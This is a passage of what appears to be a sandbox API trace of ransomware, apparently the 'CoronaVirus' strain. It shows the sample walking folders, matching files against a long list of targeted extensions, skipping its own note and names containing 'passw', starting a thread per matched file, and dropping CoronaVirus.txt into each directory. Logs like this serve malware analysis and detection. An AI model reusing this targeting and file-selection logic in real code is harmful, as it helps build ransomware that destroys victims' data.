	[0080.530] wcsstr (_Str="C:\\588bce7c90097ed212\\1035\\eula.rtf", _SubStr="wasse") returned 0x0
	[0080.530] wcsstr (_Str="C:\\588bce7c90097ed212\\1035\\eula.rtf", _SubStr="passw") returned 0x0
	[0080.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f182a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444
	[0080.530] SetThreadPriority (hThread=0x444, nPriority=15) returned 1
	[0080.533] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0080.535] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0080.536] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0080.536] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.536] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0080.540] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.540] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0080.540] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.540] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0080.540] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.540] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0080.541] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.541] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0080.541] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.541] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0080.541] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.541] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0080.541] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.541] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0080.541] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.541] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0080.541] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.541] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0080.541] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.541] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0080.541] malloc (_Size=0x1000) returned 0x2f182a8
	[0080.541] _swprintf (in: param_1=0x2f182a8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned 44
	[0080.541] wcsstr (_Str="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0080.541] wcsstr (_Str="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0080.541] wcsstr (_Str="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0080.541] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f182a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448
	[0080.542] SetThreadPriority (hThread=0x448, nPriority=15) returned 1
	[0080.544] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0080.544] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0080.544] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0080.544] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.544] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0080.544] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.544] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0080.544] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.544] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0080.550] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.550] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0080.550] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.550] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0080.550] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.550] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0080.550] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.550] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0080.550] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.550] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0080.550] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.550] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0080.556] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.561] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0080.561] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.561] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0080.561] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.561] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0080.563] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.563] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.564] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0080.564] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0080.565] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0080.565] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0080.565] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0080.565] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0080.565] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0080.565] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0080.565] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0080.565] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0080.565] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0080.565] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.565] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0080.565] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0080.565] FindClose (in: hFindFile=0x600750 | out: hFindFile=0x600750) returned 1
	[0080.565] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0080.565] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0080.565] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0080.565] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1036") returned 26
	[0080.565] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0080.565] wcsstr (_Str="C:\\588bce7c90097ed212\\1036", _SubStr="Microsoft\\Windows") returned 0x0
	[0080.565] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.093] _alloca_probe () returned 0x4036d0
	[0081.093] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1036", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1036", lpFilePart=0x316583c*="1036") returned 0x1a
	[0081.093] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe960b558, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6009d0
	[0081.094] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.094] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe960b558, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.094] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.094] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe960b558, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe960b558, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.094] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.094] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.094] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.094] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.094] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.094] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.094] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.094] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.094] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.095] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.095] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.095] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.095] malloc (_Size=0x1000) returned 0x2f16298
	[0081.095] _swprintf (in: param_1=0x2f16298, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1036\\CoronaVirus.txt") returned 42
	[0081.095] wcsstr (_Str="C:\\588bce7c90097ed212\\1036\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.095] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.095] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.095] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.095] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.095] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.096] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.096] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.097] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.097] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.097] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.097] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.097] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.097] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.097] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.097] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.097] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.097] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.097] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.097] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.097] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.097] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.097] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.097] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.097] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.097] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.097] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.097] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.097] malloc (_Size=0x1000) returned 0x2f13060
	[0081.097] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0081.097] wcsstr (_Str="C:\\588bce7c90097ed212\\1036\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.097] wcsstr (_Str="C:\\588bce7c90097ed212\\1036\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.097] wcsstr (_Str="C:\\588bce7c90097ed212\\1036\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.097] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450
	[0081.098] SetThreadPriority (hThread=0x450, nPriority=15) returned 1
	[0081.109] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x14412, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.110] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.110] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.110] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.110] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
